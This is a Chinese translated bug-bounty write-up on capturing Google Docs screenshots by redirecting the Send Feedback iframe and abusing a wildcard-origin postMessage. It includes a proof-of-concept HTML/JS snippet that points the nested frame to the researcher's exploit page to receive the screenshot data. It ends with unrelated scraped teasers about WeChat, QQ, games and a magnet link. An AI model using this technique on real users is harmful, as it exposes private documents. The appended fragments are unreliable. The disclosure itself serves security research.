本文中,作者利用谷歌的问题反馈机制功能,通过更改其中调用框架iframe的URL路径,可实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。一起来看看。
谷歌在其大部分应用产品中都有一个名叫“反馈发送”( Send Feedback)的功能,用于用户在使用其产品过程中的问题反馈,该功能中设置了问题描述的截图添加选项。如下所示:
目前来看,该“反馈发送”是谷歌旗下应用的常见功能,范围涵盖包括谷歌主站点https://www.google.com在内的其它应用或产品,并且还通过Iframe方式集成到了谷歌的其它域名网站下。
基于上述谷歌的“反馈发送”功能来看,假设我们在使用谷歌文档-Google Docs (https://docs.google.com/document),可以从路径Help--> Send Feedback来打开“反馈发送”功能来提交一些使用问题。打开“反馈发送”功能后,我们可以看到,此时的谷歌文档会以Iframe方式,对你当前的谷歌文档工作区域部份进行截图。由于谷歌主站www.google.com和Google docs (docs.google.com) 分别属于不同的源,所以,这里“反馈发送”功能的截图渲染操作可能就涉及到了跨源(域)通信,当然,PostMessage机制在这里就派上用场了。大概的一个流程就是:Google Docs会通过postmessage机制把其当前的工作文档截图RGB颜色模式发送到谷歌主站www.google.com的iframe框架,其截图RGB颜色模式最终会被postmessage *** 发到feedback.googleusercontent.com,然后以Base64编码send到主站www.google.com的iframe框架中去。
最后,还得在其截图反馈中添加文字描述,点击“Submit Feedback”提交反馈后,postmessage *** 会一并把图文发送到https://www.google.com。总体流程如下:
了解了上述的反馈发送功能后,我首先想在其中的沙箱域名feedback.googleusercontent.com测试一下XSS漏洞,我预想利用XSS漏洞去劫持其中传输的用来渲染RGB像素点的值,这样就可以间接窃取其截图。一开始我比较有把握觉得沙箱域名feedback.googleusercontent.com应该有XSS,在我朋友的帮助下,我们前后历时5天,但连XSS的影子都没发现,就快要放弃了。一周后,我在Twitter中看到了白帽filedescriptor之前发过的一个视频,视频是关于Intigriti XSS挑战赛的解题思路。
看了filedescriptor发的视频后,我学到了一招。就是,如果当前的跨域域名缺少X-Frame-Header消息头,则可以修改其iframe涉及的域名网站路径。就比如,如果域名abc.com调用的iframe涉及efg.com,但是若abc.com缺少X-Frame-Header消息头,则可以用frames.location *** 把其中涉及iframe的efg.com更改为恶意域名evil.com。
如何来利用呢?是不是如果把其中的跨域域名修改成为我自己控制的网站域名,那我的网站中就会收到谷歌postmessage过来的数据?我决定一试,于是把上述涉及iframe调用的沙箱域名feedback.googleusercontent.com更改为了我的网站域名-geekycat.in,可是,不行,啥也没有。谷歌反馈发送功能中的postmessage *** 如下:
windowRef.postmessage("<Data>","https://feedback.googleusercontent.com");
所以,即使我把iframe调用路径域名更改成我的域名网站,但是由于postmessage *** 中是feedback.googleusercontent.com,所以还是不匹配,就不能成功。但之后,我观察到谷歌反馈发送提交后的最后一个postmessage *** 为windowRef.postmessage("<Data>","*"),其中竟然没有域名限制,那再来试试看吧!
但等等,之前我说过,这里还需要主域名缺少X-Frame header消息头,怎么办呢?幸好经过检查发现,Google docs真的没有X-Frame header消息头。但谷歌还具备其它点击劫持防护措施,而且很多功能选项在iframe框架机制中都是禁用的。这里,我又发现了另外一个LiveOverflow
发布的漏洞利用视频Google Docs XSS Vulnerability,其中讲述了利用postMessage()实现Google Docs 的XSS漏洞,非常具有针对性,完全我能应用到这里的漏洞测试中来。
有了上述珠玉在前的参考,最终我构造的POC如下:
<html> ? ? <iframe src="https://docs.google.com/document/ID" /> ? ? <script> ? ? ? ?//pseudo code ? ? ? ? ? ? ? ? ? ? setTimeout(function(){ exp(); }, 6000); ? ? ? ? function exp(){ ? ? ? ? setInterval(function(){? ? ? ? ? ?window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; ? ? ? ? }, 100); ? ? ? ? } ? ? </script> </html>
上述代码意思是以setTimeout方式在6秒后加载iframe框架,另外一个问题是,只有当用户点击了“Submit Feedback”提交反馈后iframe框架才会被加载,因此,在框架的location中,我们对嵌入其中的恶意URL链接设置了100毫秒的刷新时间,以防用户未及时点击“Submit Feedback”。
参考来源:geekcat,编译整理:clouds,转载请注明来自Freebuf.com
有些在微信钱包,有微粒贷的入口 点击去一看,哈哈,有消费额度 但是额度有大有小的,并不是所有人都一样 是什么决定了他们额度的大小呢? 还有些人,并没有微粒贷的入口 想自己主动开通微粒贷,怎么...
微信聊天记录能否找回(怎么把聊天记录找回来微信)错过的微信红包百思特网如何快速找回?如何检测好友是否删除又不被发现?如何精准查看发布过的朋友圈? 1、 错过的微信红包如何快速找回? 我们只需进入群聊...
王者荣耀很快就要迎来520节日了,那么这次的520官方会制作什么皮肤给玩家呢?希望下面这篇王者荣耀520皮肤内容预测能帮到大家。 520皮肤内容预测 首先,有官方视频透露这次的520皮肤将不同以往...
乌克兰 int start_byte; /* The start byte, negative if unknown. */Payload代码首要用于搜集用户名、用户地点域名、进程相关信息:"tab...
更新: 豆瓣评分才7.8,个人感觉低估了,我给它的评分8.5左右 剧情差了点,但动画效果太棒了,另有红头发的妹子,美的不要不要的。 磁力下载: magnet:?xt=urn:btih:c2...
申诉qq技巧(QQ申诉技巧帮你解决QQ被盗问题) QQ丢了。想找回QQ密码,除了密码保护就是去申诉。可是申百思特网诉成功的几率很低,怎么才能让成功率高些呢?现在介绍一种非常有效的方法。 1...